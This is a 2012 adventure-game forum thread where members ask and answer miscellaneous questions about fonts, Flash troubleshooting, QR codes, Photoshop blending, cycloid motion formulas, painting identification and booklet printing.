Ok, thanks Chrille and Duals. You have given me an idea of how to go around it... If the cable is cut while the meter is turned off there will be no explosion or shock, right? I think I'll have the player turn it off first and make it a timed thing, so if the cable's not cut on time someone turns the meter back on. This way, even with blunt scissors, she can cut through it, because she doesn't have to succeed at first cut, it would be altoghether more realistic and also add an additional layer to the puzzle;)
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Post by: Tabata on 15 Jan 2012, 09:55
You simply need a pair of sissors in good quality to cut cables with it.
They have to be sharp, not big ;)

(http://www.gif-paradies.de/gifs/gegenstaende/scheren/schere_0014.gif) (http://www.gif-paradies.de)
I have already done this a lot of times  ;D
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Post by: WHAM on 16 Jan 2012, 10:43
I want to create my own font for my games.

Before you suggest I piss off and download the Radiant Font Editor, I have done so. However, I want to create a font that support scandic letters and some special letters: ä, ö, å, ü etc, and the Radiant Fonr Editor does not seem to be willing to cooperate with me on this.

Any further suggestions?
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Post by: bicilotti on 16 Jan 2012, 10:50
I want to create my own font for my games.

Before you suggest I piss off and download the Radiant Font Editor, I have done so. However, I want to create a font that support scandic letters and some special letters: ä, ö, å, ü etc, and the Radiant Fonr Editor does not seem to be willing to cooperate with me on this.

Any further suggestions?

I wonder wheter SCI actually supports scandic letters... Using TTF? Pressganging him into releasing the code?
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Post by: selmiak on 16 Jan 2012, 20:59
I want to create my own font for my games.

Before you suggest I piss off and download the Radiant Font Editor, I have done so. However, I want to create a font that support scandic letters and some special letters: ä, ö, å, ü etc, and the Radiant Fonr Editor does not seem to be willing to cooperate with me on this.

Any further suggestions?

fontforge (http://fontforge.sourceforge.net/) (free/open source) or fontlab (http://www.fontlab.com/) (expensive/really good).
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Post by: Nikolas on 27 Jan 2012, 07:45
I'm looking for a visual artist. An animator, a director... someone who would be making films anyhow, or animations, or other with effects or without...

Where would I be looking for such a person? (probably one who would be willing to go about it for very cheap, or free... *ahem*). What forums? What sites? What places? Even here perhaps?
Title: Re: Ask something - We can help.
Post by: cat on 27 Jan 2012, 09:05
@Nikolas You could look on the website of film schools, maybe they have some kind of forum there.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on 03 Feb 2012, 22:16
I have some strange problems with using Flash.

I just bought a brand new computer, and it works excellently, except for this problem. Whenever I'm watching a video or use flash in any way it becomes INSANELY slow. Quite often everything just freezes and I can't do anything. Most of the time it's just the video that freezes for about a minute while audio is still playing, but this is obviously not ideal either. I've tried different browsers with the same result.

Has this happened to anyone else? Does anybody have an idea of what's going on? Or maybe something to figure it out?

Thanks in advance :)
Title: Re: Ask something - We can help.
Post by: Stupot on 03 Feb 2012, 22:26
@Bulba
My laptop does this with whatever format Yahoo!'s videos are in.  It says I need a plug-in, but rather than trying to find said plug-in I just use it as a good excuse not to click on articles on Yahoo!

Probably a silly question, so don't hit me, but... have you got the latest version of Flash? *flinches*
Title: Re: Ask something - We can help.
Post by: Bulbapuck on 03 Feb 2012, 22:34
I do, thanks though :)
I rarely have to deal with issues like this so I really don't know where to look, and I haven't found much by googling. But it's not something to do with running out of memory, that's the only thing I thought to check :P

EDIT: I found a temporary solution while browsing the adobe site. When answering a different question they advised to always try and disable "hardware acceleration" as a first troubleshooting step. And I think it worked, a lot of problems went away immediatly :)
Title: Re: Ask something - We can help.
Post by: Wyz on 04 Feb 2012, 00:16
Holy fuck, I've been having this problem for over a year now and tried all sorts of things but disabling hardware acceleration fixed it.  :o
Thanks Bulba!  :D
Title: Re: Ask something - We can help.
Post by: Mati256 on 04 Feb 2012, 00:38
I have a problem with Youtube. Videos don't seem to load as before.
Anyone noticed the same problem? Maybe it's just Youtube.  ???
Title: Re: Ask something - We can help.
Post by: Bulbapuck on 04 Feb 2012, 12:48
@Wyz: haha, that's great :D

After investigating further I realized that all the remaining problems was due to firefox. After switching to chrome all problems seem to have vanished!

@Mati: I haven't noticed anything like that. Although something I have noticed is that for some strange reason higher resolution seems to load faster for me. No idea why :P
Title: Re: Ask something - We can help.
Post by: arj0n on 13 Feb 2012, 13:59
I was wondering, what's the purpose of the alt+255 code.
It's not a space, it's a real character you can't see and it's used for tricks.
But if you can't see it, why is it a character?
And what's the original purpose of this character, why creating a character you can't see?

Enlight me...
Title: Re: Ask something - We can help.
Post by: bicilotti on 13 Feb 2012, 14:38
I was wondering, what's the purpose of the alt+255 code.
It's not a space, it's a real character you can't see and it's used for tricks.
But if you can't see it, why is it a character?
And what's the original purpose of this character, why creating a character you can't see?

Enlight me...

I might be wrong, but iirc the dreaded alt+255 was/is recognised as a valid character by many programs. That helped in achieving some not-so-clever hacks, say, in output format, where an entry with a bunch of spaces could be skipped while one with our invisible friend was not.
Title: Re: Ask something - We can help.
Post by: Wyz on 14 Feb 2012, 00:04
Alt+255 gives you a non breaking space (http://en.wikipedia.org/wiki/Non-breaking_space). These spaces where originally used to stop lines being cut at this place. Later they where used like bici pointed out; it is exactly the same character as &nbsp; in HTML so quite useful.
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on 14 Feb 2012, 16:48
Btw, there's also a difference between Alt+### and Alt+0### (with numbers larger than 127), Alt+0255 gives me the letter "ÿ" (y with diaeresis), unlike Alt+255. Alt+169 gives me the "®" (registered name sign), Alt+0169 gives "©" (copyright sign), and so on.
The version with a zero in front seems to be ANSI (http://www.free-solutions.de/js/zeichensatz_ascii-ansi_code.html) (the non breaking space is 160 there; characters may depend on the local codepage, so could be cyrillic or whatever), while the version without a zero in front is DOS ASCII (http://www.free-solutions.de/js/zeichensatz_ascii-dos_code.html).
Title: Re: Ask something - We can help.
Post by: Nikolas on 16 Feb 2012, 09:43
Say... does anyone know anything about keeping books clean and tidy for a long time?

I'm opening a publishing house, and as such I have many books (around 2000 right now). I have them in my studio, in the first floor, right in front of me on wooden shelves... And most are semi-covered by some plastic cover (in bunches of 10-20).

But I'm worried that they will deteriorate if they remain there for too long... I'm also worried for any kind of insects that might attempt to eat the paper.

Does anyone know how to prevent the above from happening, or if I'm being silly? Google didn't give too much by 'book maintenance'... :(
Title: Re: Ask something - We can help.
Post by: arj0n on 16 Feb 2012, 10:45
In any case make sure your studio does have a (relatively) constant temperature around 18˚C and a humidity level of 50% or 55%.
You might want to check for insects like booklice (attack paper) or silverfish (attack (starch in) glue) once in a while.

Sealing all the 200 books can prevent them from being attacked by insects but that's quite a job... And it's not really necessary too.
Just checking once or twice a year will be enough I guess.
Title: Re: Ask something - We can help.
Post by: bicilotti on 16 Feb 2012, 14:19
Say... does anyone know anything about keeping books clean and tidy for a long time?

I found this link: http://www.amazonsellercommunity.com/forums/thread.jspa;jsessionid=66BC92C12D5A13C283B29B6D55BA8C6E?messageID=2031669&#2031669

Take it with a pinch of salt; I feel it could be interesting for you because they are discussing the "how to store books" from a seller perspective (and not the usual shelves good for "consumers")
Title: Re: Ask something - We can help.
Post by: OneDollar on 22 Feb 2012, 12:52
I'm building an arcade cabinet with some people from work (Windows XP PC, CRT monitor, wooden cabinet shell, joysticks, buttons and a card (http://www.ultimarc.com/ipac1.html) that converts them to keyboard inputs).

What I want to do is create a program that acts as a graphical frontend to let you choose which game you want to play. This has to be controlled entirely with the keyboard (no mouse) and when a game is chosen it will need to load the correct key mapping file to the card (done through a command line program with arguments) then launch the game. Ideally it'll also have fancy graphical effects (the vision I have in my head is of the song select menu in DDR games - cycling through screenshots of games with arrow keys and loading more info about them when one is selected). Also once the launcher is built it will need to be easy to add/change games, so probably storing info about the games in XML or something and loading that when it starts.

Anyway, my actual question: what should I build this in? AGS is out because it won't launch external programs. I've looked at Flash which is a possibility, but that also has some restrictions on loading programs. I've done lots of scripting but very little real programming, so what would you recommend?
Title: Re: Ask something - We can help.
Post by: bicilotti on 22 Feb 2012, 13:09
Well, it seems something C++/Allegro (or some other Csomething/SomeOtherLibrary) could do, or Python/Pygame (or Haskell/OpenGL!). Being a curious individual, I would see in this challenge an opportunity to learn something, so hooray!
Let us know what you will choose.
Title: Re: Ask something - We can help.
Post by: Khris on 22 Feb 2012, 13:19
Actually, thanks to the ags shell plugin, it's possible to run cli commands from within AGS.
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=30948.msg397988#msg397988
Title: Re: Ask something - We can help.
Post by: InCreator on 23 Feb 2012, 16:20
What is that square noise barcode-like thing I see appearing everywhere lately, like next to app adverts and event posters etc?

I imagine it's some sort of cypher which phone cameras or scanners could read and gather info from.

But how it's called and how it works, exactly?
Title: Re: Ask something - We can help.
Post by: Atelier on 23 Feb 2012, 16:21
It's a QR Code.

http://en.wikipedia.org/wiki/QR_code
Title: Re: Ask something - We can help.
Post by: Khris on 23 Feb 2012, 16:23
It's a QR code (http://en.wikipedia.org/wiki/Qr_code).

You can download an app for smartphones that pulls the code off of a picture you take with the camera. It usually contains URLs.
Title: Re: Ask something - We can help.
Post by: OneDollar on 23 Feb 2012, 17:32
Being a curious individual, I would see in this challenge an opportunity to learn something, so hooray!
Yeah, that's what I'm thinking though for everything I've looked at it seems like there's a big pile of basics I need to learn before I get anywhere near graphics programming, file IO and launching external programs. I was wondering what language people would choose to do this in, to save me learning a bunch of syntax then discovering I'm blocked from launching things outside of specific directories etc.

Actually, thanks to the ags shell plugin, it's possible to run cli commands from within AGS.
Ah, thanks, I didn't know about that. I'm going to try doing it in another language for learning purposes, but it's useful to know I can fall back on AGS if it doesn't work out.
Title: Re: Ask something - We can help.
Post by: bicilotti on 23 Feb 2012, 17:43
Being a curious individual, I would see in this challenge an opportunity to learn something, so hooray!
Yeah, that's what I'm thinking though for everything I've looked at it seems like there's a big pile of basics I need to learn before I get anywhere near graphics programming, file IO and launching external programs. I was wondering what language people would choose to do this in, to save me learning a bunch of syntax then discovering I'm blocked from launching things outside of specific directories etc.

Well, you are used to AGS, so C++ syntax won't feel entirely new. Take a look at this allegro tutorial (http://www.loomsoft.net/resources/alltut/alltut_index.htm): it is pretty short and sweet and by the end of it you will know if you like allegro or not.

edit: but if you want to dive into something new, take a look at this programming languages popularity page (http://langpop.com/) and choose something exotic (I always wanted to learn Ruby).
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 23 Feb 2012, 18:02
It's a QR Code.

http://en.wikipedia.org/wiki/QR_code
Half the girls I've heard talk about the QR Code they all call it a "Blackberry thing" because it's the phone they use. It gets me kinda upset. lol
Title: Re: Ask something - We can help.
Post by: Oliwerko on 28 Feb 2012, 09:48
How do you do the contrasting text effect in photoshop? I have two-colored background - cyan and black. I want the text cyan on the black parts and black on cyan parts.

Now I know how to do this manually (i.e. rasterizing the text, selection based on background, fill with the other color). But is there a proper function for it so that when I move the text around the image it keeps adjusting itself to the underlying color?
Title: Re: Ask something - We can help.
Post by: Ali on 28 Feb 2012, 10:30
Make the text cyan and set the blending mode to Difference.

- Ali
Title: Re: Ask something - We can help.
Post by: Stupot on 28 Feb 2012, 20:42
Rasterizing the text.  Is that where you just type "mon" at the end of each sentence, mon?
Title: Re: Ask something - We can help.
Post by: bicilotti on 28 Feb 2012, 21:38
Rasterizing the text.  Is that where you just type "mon" at the end of each sentence, mon?

:D This thread is always interesting, entertaining and useful. Cheers to the man who opened it, mr. Stupot!
Title: Re: Ask something - We can help.
Post by: Ghost on 28 Feb 2012, 22:17
Fool On The Hill is the third book now that presents me with this little puzzle- a strange speech pattern:
"I an I and my lady" / "I and I thinks there is..."

In all three cases the speaker is of normal intelligence but poorly educated; in at least one book he's hinted to be of mixed, non-white origin. Is that a common speech pattern for a certain peroid/group? I never came across it in more recent works, and the interwebs are not too much of a help. I understand that it just means "I", but am curious about the origins.
Title: Re: Ask something - We can help.
Post by: bicilotti on 28 Feb 2012, 22:35
Fool On The Hill is the third book now that presents me with this little puzzle- a strange speech pattern:
"I an I and my lady" / "I and I thinks there is..."

https://en.wikipedia.org/wiki/Rastafarian_vocabulary#I_words

^-- rastafarian vocabulary it seems. Does that match the background of those characters?
Title: Re: Ask something - We can help.
Post by: Ali on 28 Feb 2012, 22:38
So THAT was a case of rasterizing the text? This thread has blown my mind.
Title: Re: Ask something - We can help.
Post by: Oliwerko on 28 Feb 2012, 23:00
Thanks Ali! I actually tried that before, but on black the text was kind of dark red. The reason was that it wasn't 100% black. It only works with 100% black. When you have like 28 of R, G and B; it behave differently...
Title: Re: Ask something - We can help.
Post by: Ghost on 28 Feb 2012, 23:07
^-- rastafarian vocabulary it seems. Does that match the background of those characters?

Perfect fit- thanks!
Title: Re: Ask something - We can help.
Post by: Ali on 28 Feb 2012, 23:21
Thanks Ali! I actually tried that before, but on black the text was kind of dark red. The reason was that it wasn't 100% black. It only works with 100% black. When you have like 28 of R, G and B; it behave differently...

If you need the black to be dark grey, you could always create the effect with 0,0,0 then put an levels adjustment layer on top to lift the blacks a bit.
Title: Re: Ask something - We can help.
Post by: Eric on 01 Mar 2012, 09:21
Trying to recall an adventure game where one of the puzzles involved keeping a tiger away from an Indian village. Can't remember much more than that one scene. This is perhaps a game where there's a palace hidden in a tall rock formation in the middle of a nearby lake, or I may be conflating two games.

Anyone know what I'm talking about?
Title: Re: Ask something - We can help.
Post by: Gilbert on 01 Mar 2012, 10:12
I'm not sure, but I just googled "adventure game tiger indian village" and found this (http://www.zoolabo.com/eng/tiger/adventure-game-with-a-tiger.html) which sounded close enough.
Title: Re: Ask something - We can help.
Post by: selmiak on 04 Mar 2012, 16:15
@Eric: sounds like lost horizon
Title: Re: Ask something - We can help.
Post by: Eric on 05 Mar 2012, 03:19
Thanks, selmiak! Lost Horizon it is. I forgot that bit of the plot.

I'm not sure, but I just googled "adventure game tiger indian village" and found this (http://www.zoolabo.com/eng/tiger/adventure-game-with-a-tiger.html) which sounded close enough.

This game was ten minutes of my life that I'll be disappointed to account for come judgment day. But thanks anyway!
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 06 Mar 2012, 16:16
I've been trying to Google that but the terms I use are too generic and I can't find any relevant result.
On the other hand it's an issue I've been having on several computers, so I know it's real.

That issue:  >> When Firefox's cursor (in a text field) stops blinking <<

I'm talking about that cursor (kind of -- this is not a screenshot of firefox): http://www.geniusdv.com/weblog/archives/2007/03/25/inspector_window.gif

The blinking cursor is freaking invisible and you don't know where you're typing until you actually start typing.
It does it in the address bar, the search bar, and if I remember properly, also inside web page (e.g. when you type an email).

As I said, I've observed that several times, at least with Firefox 3.6, and I believe with Firefox 8. That's super annoying.
Anybody has a clue?
Title: Re: Ask something - We can help.
Post by: straydogstrut on 06 Mar 2012, 20:12
@Monsieur OUXX

Bizarre! I use Chrome myself but I fiddled around with Firefox 3.6 on my Mac and I didn't see this behaviour. A quick Google has suggested it could be due to:


Sorry I can't be more help.
Title: Re: Ask something - We can help.
Post by: nihilyst on 06 Mar 2012, 20:18
A few weeks ago I've have that same issue on every site with a flash video player on it (like youtube and stuff). The problem just disappeared after two days, so I can'T really say what caused it.
Title: Re: Ask something - We can help.
Post by: selmiak on 06 Mar 2012, 20:32
firefox is open source with a huge community. Just ask in their forums. If you can't get help there, I wouldn't know where else. And if it is a bug they might even fix it within the next versions ;)
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 07 Mar 2012, 11:23
Thanks guys.
Title: Re: Ask something - We can help.
Post by: arj0n on 10 Mar 2012, 23:16
Probably a stupid question but I can't find it's solution.

I imported a room from a project done in AGS v272.
I removed the audio clip "aMusic6" but somewhere is still a link and it's not in the room or global script.
When rebuilding the game this message pops up (also when compling and running the game, warnings.txt contains:)
"Room 1: Unable to find aMusic6 which was set as this room's start music".

Searching whole project doesn't bring it up.
Where can I find this aMusic6 link?
Title: Re: Ask something - We can help.
Post by: Antje on 11 Mar 2012, 11:40
Maybe, just maybe, it is in one of the interactions with an object/hotspot/etcetera in the room. (I had a broken/dead interaction-link two days ago and it took me some time to find it.) Good luck with that!
Title: Re: Ask something - We can help.
Post by: Khris on 11 Mar 2012, 12:09
Open the room in 2.72. Directly below the buttons it should say: [✓] Play music on room load [6  ]
That's the reference you're looking for.
Afaik, this shortcut has been removed as of 3.0, so you can't undo it in your current project. You have to uncheck it, save the room, then re-import it in your 3.x project.
Title: Re: Ask something - We can help.
Post by: arj0n on 12 Mar 2012, 09:02
@Antje: Nope, that's not the problem.
@Khris: Thanx, that's it!
Title: Re: Ask something - We can help.
Post by: Chicky on 13 Mar 2012, 21:55
Chicky has chicken pox D:

It's the most annoying illness of my adult life.

Fix me? You said you could help!


Edit: Worth noting that i have consulted a doctor and am not actually looking for a cure on the AGS forums, more of a plea for sympathy  :=
Title: Re: Ask something - We can help.
Post by: Anian on 14 Mar 2012, 08:19
Aww, Chicky, don't worry, it too shall pass. Chicken pox are annoying as hell, but you'll get over it soon and you'll almost forget about it in a few months.

Better?
Title: Re: Ask something - We can help.
Post by: bicilotti on 14 Mar 2012, 08:37
* bici carefully inspects Chicky's post

Chicky -> chicken pox

You're lucky your forum name isn't Smally!  :=

You'll get over it Chicky!
Title: Re: Ask something - We can help.
Post by: arj0n on 14 Mar 2012, 08:55
In the mean time you can play real-time connect-the-dots!! ;)
Title: Re: Ask something - We can help.
Post by: bicilotti on 14 Mar 2012, 09:27
In the mean time you can play real-time connect-the-dots!! ;)

Or Varicella (http://en.wikipedia.org/wiki/Varicella_(video_game))  :=
Title: Re: Ask something - We can help.
Post by: Tabata on 14 Mar 2012, 17:44
Chicky has chicken pox D:

It's the most annoying illness of my adult life.

Fix me? You said you could help!


Edit: Worth noting that i have consulted a doctor and am not actually looking for a cure on the AGS forums, more of a plea for sympathy  :=


Maybe it would help you to get some company?

Let's try this:

                  (http://www.thefunnybone.com/vstuff/pox.gif)


Poor guy - looking like a crumble cake isn't that appealing ;)

                      (http://www.smileyvault.com/albums/userpics/12962/getwell~0.gif)
Title: Re: Ask something - We can help.
Post by: Stupot on 14 Mar 2012, 17:50
Sucks to be you, man.  It's supposedly much worse if you're an adult.  Get well soon.
Title: Re: Ask something - We can help.
Post by: Chicky on 14 Mar 2012, 22:01
anain: Thanks for the kind words, I keep telling myself that it's just my body playing minesweeper, and the game'll be over soon.

Bici: You see what I did there?  := It actually didn't occur to me until I started typing.

Arj0n: Thanks, but that could take a while!

Tabata: I win, I have more face pox. Talking of company, it sucks pretty bad because I live alone and can hardly go out for supplies,  I've lost my appetite anyways.

Stupot: Thanks man, very kind words  :) It's been pretty hard, bit of a shock to my usual life.

Anyway, I won't steal the thread any longer. Consider my question answered :)
Title: Re: Ask something - We can help.
Post by: Nikolas on 17 Mar 2012, 20:54
Silly question for some but perhaps worth asking it...

my personal website is hosted on hostfolio.com for 80$ per year. I've decided that I don't really want to pay that much and one.com offers 5 GBs (and some traffic, which either way has never been an issue) for 15 euros per year (which is a hugely discounted price).

So the question: Can I 'move' my website to another hosting company (it's in flash completely). and if so any ideas on how to go about it?
Title: Re: Ask something - We can help.
Post by: selmiak on 17 Mar 2012, 21:49
absolutely do it. 80$/y is way too much.
if you use relative links and no absolute links on your webstuff it should be no problem at all. When you use absolute links you have to adjust them to point to the corrects pages and that your files are embedded from the correct address.
Title: Re: Ask something - We can help.
Post by: InCreator on 18 Mar 2012, 01:02
Simple (?) math question:

How to implement rolling motion in a game? Can any math geniuses give me simple code?

x = ...?
y = ...?

quick sketch
(http://i.imgur.com/RRVyZ.png)

Of course, the rolling should be uniform, like tracking a point on rolling ball, and not my lousy freehand drawing.
Whoever explains this so I could use it, gets credited in new, awesome game coming out next week or so!  :)
Title: Re: Ask something - We can help.
Post by: Victor6 on 18 Mar 2012, 01:14
Is this something spinning through the air, or rolling like a ball?

If it's the latter. you want:-

(http://img252.imageshack.us/img252/7752/circularmovement.png)
Title: Re: Ask something - We can help.
Post by: Snarky on 18 Mar 2012, 01:15
http://en.wikipedia.org/wiki/Cycloid
Title: Re: Ask something - We can help.
Post by: InCreator on 18 Mar 2012, 01:22
Not the latter, I need spiral like I drew, not arches. And yeah, it's something moving through the air
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on 18 Mar 2012, 01:52
These arches (as shown in the wikipedia article, too) are only a special case of cycloids, you can get more spiral-like cycloids if you let the circle spin faster.

Basically, you just add a uniform horizontal motion to a uniform rotation.
The horizontal motion is:
x = xspeed*t
y = 0
The rotation is:
x = radius*sin(rotationspeed*t)
y = radius*cos(rotationspeed*t)
Add these, and a starting point, and you get:
x = start_x + xspeed*t + radius*sin(rotationspeed*t)
y = start_y + radius*cos(rotationspeed*t)

Then you can fiddle with the speed values to get the spiral you like (increase rotationspeed or decrease xspeed to make it more spirally)
Title: Re: Ask something - We can help.
Post by: InCreator on 18 Mar 2012, 03:23
Eh, rotation. It does work but after hour of trying, I decided to scrap the idea; I have no clue how to dampen it, values must be very specific towards each other to get good result, direction and speed I use can be totally random and even when balanced out at best  it feels very unnatural and blinks like hell. It's easier to just make some rotating sprites.

Thanks anyway.

E: What did I needed it for? Well, my weekend accidentally found me remaking old DOS game Paratrooper...

I thought about different, upgradeable weapons and one gun would shoot flak, which I thought would be awesome if clusters of flak would rotate like angry bees (very wip pic yet):

(http://i.imgur.com/28WD9.png)

Title: Re: Ask something - We can help.
Post by: nihilyst on 19 Mar 2012, 14:37
Hey guys,

for ages, I've been trying to find out the artist and the name of the painting that (in form of a tapestry) hangs in our living room. Here it is:
(http://www.longwayhome.de/zeug/pic_wohnzimmer.jpg)

My father is sure that, when he bought it ages ago, he had been said that this is based on a painting by some painter. I myself have absolutely no idea about that kind of stuff, so I hope one of you does. It's not an important question, to be honest; I just wanted to know it.

An image search via Google didn't bring up valuable results. I guess the colour of the tapestry has worn off heavily over the years.

Thanks :D
Title: Re: Ask something - We can help.
Post by: sonneveld on 19 Mar 2012, 14:50
I've been trying to find out the artist and the name of the painting that (in form of a tapestry) hangs in our living room.

Used tineye, apparently it is an 18th century painting by Guardi Francesco of some Italian port.  That should give you enough to go on. :)

tineye search: http://www.tineye.com/search/a353ce3a9247a3c0eae0c28b7066129bce44236b/

results: http://www.crofteuropeantapestries.co.uk/tapestries/Mercanti-307.htm
http://www.medievalwalltapestry.com/mercanti.html
Title: Re: Ask something - We can help.
Post by: bicilotti on 19 Mar 2012, 14:58
Mhhh, I was going to say William Hogart (or one of his numerous epigones, like Longhi).
Doesn't really seem like Guardi's (or Canaletto's / Bellotto's ).

I would be a bit wary of a site who states
Quote
Bring a romantic spirit of the Middle Ages to your home with this wonderful tapestry!

referring to a XVIII century painter ;)

Nontheless, incredibly nifty little site, sonnenveld!

edit: does anyone recognize the city in the background? It could be a nice lead!
Title: Re: Ask something - We can help.
Post by: Snarky on 19 Mar 2012, 16:26
A number of sites seem to agree that it's from a painting of Venice by Francesco Guardi, some identifying it as "Mercanti 1738" (if that's the year, it must be mistaken, since according to Wikipedia Guardi's first signed work was ca. 1739). This (http://www.crofteuropeantapestries.co.uk/tapestries/The-Harbour-271.htm) seems to be the full version (or at least the most complete I've found). It doesn't actually match any paintings of his I could find online (and the composition doesn't seem like his style), though most elements are found in various of his paintings.
Title: Re: Ask something - We can help.
Post by: Tabata on 19 Mar 2012, 17:28
Yes, the painting the tapestry wallhanging is based on should be the  Capriccio with a Seaport and Classical Ruins from Francesco Guardi (Italian, Venice 1712–1793 Venice) (http://www.metmuseum.org/Collections/search-the-collections/90006031?rpp=20&pg=9&ft=Northern+Italy+and+Venice&pos=177#fullscreen).
Title: Re: Ask something - We can help.
Post by: bicilotti on 19 Mar 2012, 18:06
Yes, the painting the tapestry wallhanging is based on should be the  Capriccio with a Seaport and Classical Ruins from Francesco Guardi (Italian, Venice 1712–1793 Venice) (http://www.metmuseum.org/Collections/search-the-collections/90006031?rpp=20&pg=9&ft=Northern+Italy+and+Venice&pos=177#fullscreen).

v 2.0 of the capriccio (http://www.nga.gov/fcgi-bin/timage_f?object=12148&image=4328&c=) here. That seems quite different from the tapestry, though.  ???

This riddle is getting me mad!
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Post by: Anian on 19 Mar 2012, 19:34
18th century paintings in general would make for good game backgrounds...the mix of different architectural styles makes it weird though and hard to place inside a story...stupid romantics.  :P
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Post by: Anian on 22 Mar 2012, 20:34
How does one spell check your post on these forums? I see people using it (says at the bottom of the message that the post was spell checked), but, as far as I can tell, that function isn't turned on on this forum...I am so confused.  ???  <-- see
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Post by: Stupot on 22 Mar 2012, 21:19
How does one spell check your post on these forums? I see people using it (says at the bottom of the message that the post was spell checked), but, as far as I can tell, that function isn't turned on on this forum...I am so confused.  ???  <-- see

Mayb it jst mnz it woz checked 4 txt style spellin

[edit]
Or maybe not...
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Post by: Khris on 23 Mar 2012, 00:49
All modern browsers check the spelling inside text areas while you type.
In addition, the forum software auto-corrects some common abbreviations like "u" instead of you, or "r" instead of are.

u r
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Post by: suicidal pencil on 23 Mar 2012, 05:16
Spelling isn't my issue so much as proper grammar  :=

I know it's stupid to expect people who live in countries that don't have English as a primary language to understand the different grammar and semantic conventions of the language, but it really does make it harder to understand one's meaning...

The browser can check your spelling, but it doesn't know what you mean. So a post could have perfect spelling, but no one would understand wtf is going on  ;D
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Post by: Anian on 23 Mar 2012, 08:35
In addition, the forum software auto-corrects some common abbreviations like "u" instead of you, or "r" instead of are.
<br /youare
But that is kind of what bugs me, where is this option?
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Post by: bicilotti on 23 Mar 2012, 09:18
But that is kind of what bugs me, where is this option?

I think it is mandatory!
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Post by: Snarky on 23 Mar 2012, 09:19
There's no option. If you write the letter that comes between q and s by itself, it automatically gets "corrected" to "are": are. Same with the letter between t and v: you. Try it!

It's kind of annoying, actually. Particularly since it happens even inside code blocks.
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Post by: bicilotti on 23 Mar 2012, 09:30
If you write the letter that comes between q and s by itself, it automatically gets "corrected" to "are": are.

There is no letter between 'q' and 's' (but there is one between 'e' and 't')!
</nerdMomentOfTheDay>
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Post by: Khris on 23 Mar 2012, 12:35
Snarky, that doesn't sound like qwerty, what weird keyboard layout ryou using?

Edit: Are you still living in the 20th century or what? The alphabet, pfttt ... :=
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Post by: Snarky on 23 Mar 2012, 12:58
Guess some people were absent on the day in kindergarten when they taught the alphabet.  ;)
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Post by: LUniqueDan on 24 Mar 2012, 07:00
What's the name of the pre-9/11 action film featuring a plane about to hit a skyscrapper on the box cover ? I can't remember it.
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Post by: TomatoesInTheHead on 24 Mar 2012, 11:34
I only now of an interesting Austrian art project called "Just like the movies", where scenes from pre-9/11 movies were cut together to a Hollywood premake of 9/11: http://www.sueddeutsche.de/kultur/bildstrecke-michal-kosakowski-just-like-the-movies-1.107928
It used scenes from "Independence Day", "Armageddon", "Swordfish", "Q - The Winged Serpent", "The Siege", "Earthquake in New York" and others (not necessarily all featuring a plane flying into a skyscraper), maybe it's one of them?
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Post by: LUniqueDan on 24 Mar 2012, 12:58
 :D
Tx for the link ! But, no, I don'y think the move is into them. Anyway, I never saw it.

So, guys ! Come on! I need that.
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Post by: ig299 on 01 Apr 2012, 20:06
hey does anybody know a good software to capture screenshots? i have fraps but it doesn't work
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Post by: DoorKnobHandle on 01 Apr 2012, 20:20
There's a software called "Print Screen" by TheKeyboardCompany. It's free and works really well. Google it!
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Post by: Frodo on 01 Apr 2012, 21:13
I use IrfanView to get screenshots.  It's a really good programme   :)

http://www.irfanview.com/
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Post by: bicilotti on 02 Apr 2012, 11:35
What is the purpose of life?
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Post by: Babar on 02 Apr 2012, 12:51
Something about the lamentations of women, I think.
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Post by: Anian on 02 Apr 2012, 13:16
Something about the lamentations of women, I think.
And don't forget the box of chocolates.
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Post by: Paul Franzen on 02 Apr 2012, 18:37
42.
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Post by: arj0n on 03 Apr 2012, 11:41
What was about the first adventure game using the simplified GUI?

As in (among other things):
* only having the Left and Right click being Action and Look.
* no swiching between mousemodes by the gameplayer.
* no icons on-screen (like sierra/lucasarts icons) / no verbcoin
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Post by: selmiak on 03 Apr 2012, 12:49
+1
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Post by: nihilyst on 03 Apr 2012, 13:01
What was about the first adventure game using the simplified GUI?

As in (among other things):
* only having the Left and Right click being Action and Look.
* no swiching between mousemodes by the gameplayer.
* no icons on-screen (like sierra/lucasarts icons) / no verbcoin

I think Beneath A Steel Sky (1994) had it. But maybe there was one before it.
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Post by: Andail on 03 Apr 2012, 13:19
I'd ALSO say that BASS must be one of the FIRST using that kind of GUI, if not the VERY first.
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Post by: MJL on 04 Apr 2012, 02:36
Jesus H Christ. I'm trying to explain to a printing company that I want them to print a booklet/manual to include in a DVD game box.

They've told me that this size is "DS" - is that correct?

Also, how the hell do I explain how many pages I want. For example, if you were to take ONE sheet from a manual, extract it and look at it - that ONE sheet would be 4 pages of the manual. So 3 pieces of paper would be 12 pages, am I right? I don't know. The professional printer doesn't understand what I'm asking for.

If someone can tell me how to explain what I want to the printer I would be grateful.
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Post by: Kweepa on 04 Apr 2012, 23:13
If the printer can't help you, go to another printer that is going to at least try. If he's not going to try to help, he's not going to make sure there are no mistakes and he's probably going to screw you on the deal.
I've never heard of DS paper size, and a quick search of wikipedia doesn't turn up anything. I suspect it just means double sided.

Look here though:
http://www.pacificdisc.com/PrepDVDArt.html
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This is a folded piece of paper that is 9 7/8" wide by 7 5/16" tall. The fold is at 4 15/16". To support full-bleed, the final size should be 10 1/8" wide by 7 9/16" tall (1/8" around each side will be removed.)
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Post by: MJL on 04 Apr 2012, 23:19
Thanks Steve, luckily they understood today and I got my answer! Thanks for explaining, crisis averted :)
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Post by: Anian on 04 Apr 2012, 23:35
Yeah, not that I am that knowledgeable (even though I finished a school for printing technologies), but I never heard of DS and, as Kweepa mentioned, google doesn't turn up anything either.

Thing is, if you have a pdf file for example (it is usually good to see what kind of files and settings they work best with and prepare the documents before sending), you should be able to send them that. Pdf has number and sizes of pages in it and it's their problem how they're going to print it, because it basically depends on what kind of a machine they have for printing (what size of paper it uses). They then make their own estimates and calculations of materials they're gonna use and how the whole thing is going to be bended and cut, and usually that's where the price comes from, although they might have some preset sizes.

You just need to tell them what kind of binding you want, presumably, since it's for a disk booklet, staples are usually chosen. If it's paperback type of book then it's glued and stitched if it's hardcover.
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Post by: Stupot on 05 Apr 2012, 15:36
